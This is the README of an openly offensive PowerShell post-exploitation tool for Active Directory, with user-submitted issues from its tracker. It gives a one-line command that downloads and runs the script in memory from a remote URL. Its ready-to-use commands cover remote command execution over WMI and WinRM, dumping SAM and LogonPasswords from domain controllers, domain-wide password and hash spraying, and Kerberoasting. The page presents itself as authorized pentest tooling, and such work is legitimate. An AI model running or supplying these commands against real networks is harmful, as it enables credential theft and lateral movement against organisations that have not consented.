the-viper-one / psmapexec

A PowerShell tool that takes strong inspiration from CrackMapExec / NetExec

What is PsMapExec

A PowerShell tool heavily inspired by the popular tool CrackMapExec / NetExec. PsMapExec aims to bring the function and feel of these tools to PowerShell with its own arsenal of improvements.

PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.

How do I use it

It is highly recommended to go through the documentation listed below to get the most out of PsMapExec. If you do not feel like reading the documentation then simply go to the Usage section further down this document.

• https://viperone.gitbook.io/pentest-everything/psmapexec
• https://viperone.gitbook.io/pentest-everything/psmapexec/target-acquisition
• https://viperone.gitbook.io/pentest-everything/psmapexec/using-credentials
• https://viperone.gitbook.io/pentest-everything/psmapexec/methods
• https://viperone.gitbook.io/pentest-everything/psmapexec/modules

What methods does it support

Currently supported methods (Protocols)

• IPMI
• MSSQL
• RDP
• SessionHunter
• SMB
• SMB Signing
• Spraying (Hash, Password, EmptyPassword and AccountAsPassword)
• VNC
• WinRM
• WMI

Planned methods

• SNMP (In testing)
• FTP
• SSH

Usage

Load the script directly into memory

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

Quick examples

# Execute WMI commands over all systems in the domain using password authentication
 PsMapExec -Targets all -Method WMI -Username Admin -Password Pass -Command whoami

# Execute WinRM commands over all systems in the domain using hash authentication
PsMapExec -Targets all -Method WinRM -Username Admin -Hash [Hash] -Command whoami

# Check RDP Access against workstations in the domain and using local authentication
PsMapExec -Targets Workstations -Method RDP -Username LocalAdmin -Password Pass -LocalAuth
 
# Dump SAM on a single system using SMB and a -ticket for authentication
PsMapExec -Targets DC01.Security.local -Method SMB -Ticket [Base64-Ticket] -Module SAM

# Check SMB Signing on all domain systems
PsMapExec -Targets All -Method GenRelayList

# Dump LogonPasswords on all Domain Controllers over WinRM
PsMapExec -Targets DCs -Method WinRM -Username Admin -Password Pass -Module LogonPasswords

# Use WMI to check current user admin access from systems read from a text file
PsMapExec -Targets C:\temp\Systems.txt -Method WMI

# Spray passwords across all accounts in the domain
PsMapExec -Method Spray -SprayPassword [Password]

# Spray Hashes across all accounts in the domain that have AdminCount=1
PsMapExec -Targets "AdminCount=1" -Method Spray -SprayHash [Hash]

# Spray Hashes across all Domain Admin group users
PsMapExec -Targets "Domain Admins" -Method Spray -SprayHash [Hash]

# Kerberoast 
PsMapExec -Method Kerberoast -ShowOutput

# IPMI
PsMapExec -Targets 192.168.1.0/24 -Method IPMI

Targets Acquisition

Target acquisition through PsMapExec is utilized through ADSI Searcher. As long as you are operating from a domain joined system as a domain user account, no issues should be encountered when acquiring targets. By default only enabled Active Directory computer accounts are populated into the target list. PsMapExec will set the Domain to the current user domain unless -Domain is specified. IP address targeting is less preffered than using the built in ldap queries.

# All workstations, servers and domain controllers within the domain
PsMapExec -Targets All

# All workstations, servers and domain controllers on the specified domain
PsMapExec -Targets All -Domain [Domain]

# Only servers from the domain (exluding DCs)
PsMapExec -Targets Servers

# Only Domain Controllers from the domain
PsMapExec -Targets DCs

# Only workstations from the domain
PsMapExec -Targets Workstations

# Set the target values to a defined computer name
PsMapExec -Targets DC01.Security.local

# Read targets from file
PsMapExec -Targets "C:\Targets.txt"

# Wildcard filtering
PsMapExec -Targets SRV*

# Single IP Address
PsMapExec -Targets 192.168.56.11

# CIDR Range
PsMapExec -Targets 192.168.56.0/24

Authentication Types

When -Command and -Module are omitted, PsMapExec will simply check the provided or current user credentials against the specified target systems for administrative access over the specified method.

# Current user
PsMapExec -Targets All -Method [Method]

# With Password
PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]

# With Hash
PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256/NTLM]

# With Ticket
PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]

# Local Authentication (WMI only)
PsMapExec -Targets All -Method WMI -LocalAuth

Command Execution

All currently supported command execution methods support the -Command parameter. The command parameter can be appended to the above Authentication Types to execute given commands as a specified or the current user.

PsMapExec -Targets All -Method [Method] -Command [Command]

Module Execution

All currently supported command execution methods support the -Module parameter. The module parameter can be appended to the Authentication Types to execute given modules as a specified or the current user.

PsMapExec -Targets All -Method [Method] -Module [Module]

A list of modules is linked below in the Detailed Usage section.

Detailed Usage

• https://viperone.gitbook.io/pentest-everything/psmapexec
• https://viperone.gitbook.io/pentest-everything/psmapexec/using-credentials
• https://viperone.gitbook.io/pentest-everything/psmapexec/methods
• https://viperone.gitbook.io/pentest-everything/psmapexec/modules
• https://viperone.gitbook.io/pentest-everything/psmapexec/spray

Acknowledgements

• https://github.com/Leo4j (A good friend and excellent pentester who has helped me with the code)
• https://github.com/GhostPack/Rubeus
• https://github.com/gentilkiwi/mimikatz
• https://github.com/OneScripter/WmiExec
• https://github.com/MzHmO/PowershellKerberos
• https://github.com/Kevin-Robertson/Inveigh

Dependencies

Since version 0.6.0 PsMapExec now no longer has any external script dependencies apart from the Amnesiac module which will be resolved in a future update. PsMapExec can now, otherwise be run in restricted envrionments such as exam labs or CTF machines.

Showcase

SAM

LogonPasswords

Ticket Dump

GenRelayList / SMB Signing

VNC

Star History

Disclaimer

PsMapExec is designed primarily for research, educational, and authorized testing scenarios. The purpose of developing and distributing PsMapExec is to provide professionals and researchers with a tool to understand and identify vulnerabilities and to bolster the security of systems. It is fundamentally imperative that users ensure they have obtained explicit, mutual consent from all involved parties before applying this tool on any system, network, or digital environment.

Engaging in unauthorized activities, including, but not limited to, accessing systems without permission, can lead to severe legal consequences. Users must be fully aware of, and adhere to, all their jurisdictional, local, state, and federal laws and regulations concerning cybersecurity and digital access.

The developers and contributors of PsMapExec expressly disclaim all liabilities and responsibilities for any unauthorized or illicit use of the tool. Additionally, they are not responsible for any consequent damages, losses, or repercussions stemming from the misuse or misapplication of PsMapExec.

psmapexec's Issues

Users/Password List ?

Great Tool!

Is there any way to provide a list of users and passwords? like what is available for Targets -Target "C:\Targets.txt"

PsMapExec -Targets all -Username c:\users.txt -Password c:\passwords.txt -Method wmi -Command "hostname"

Scenario: If i have 3 valid username/passwords. with -username and -password i have to run the above command 9 times. If the script accept user/pass list then single command will check wmi access for all credentials sets.

Thanks!

Incorrect Username and Password Error

Running into an issue when I provide Username and password from commandline. It uses local auth even though the creds are provided using commandline.
PsMapExec -Method SMB -Username <user> -Password <pass> -Domain avengershq.local -Targets All
Since, it is taking local creds that's the reason I am getting invalid auth error. Please have a look at traces screenshot. Also, my computer is not part of the domain.

Any way to run without writing to disk?

Hi,

Great tool! Thanks so much!

In a situation where one needs to stay off disk, is there a way to run this so that all output/activity doesn't need to be written to disk and instead have output only in the PS console window?

Apologies in advance if I've missed something obvious.

Thanks

Multiple Failures

Hello, I gave this tool a test run, but unfortunately it failed.
I suppose - unlike CrackMapExec - this tool does not support being run from (or against) stand-alone machines (non-domain joined), which doesn't make it very useful in engagements.

Test 1: Running from a stand-alone machine against a Domain Controller
Result: Authentication always fails even with correct creds

---

Test 2: Running from a DC against a stand-alone machine
Result: No output whatsoever - Same exact result with and without correct creds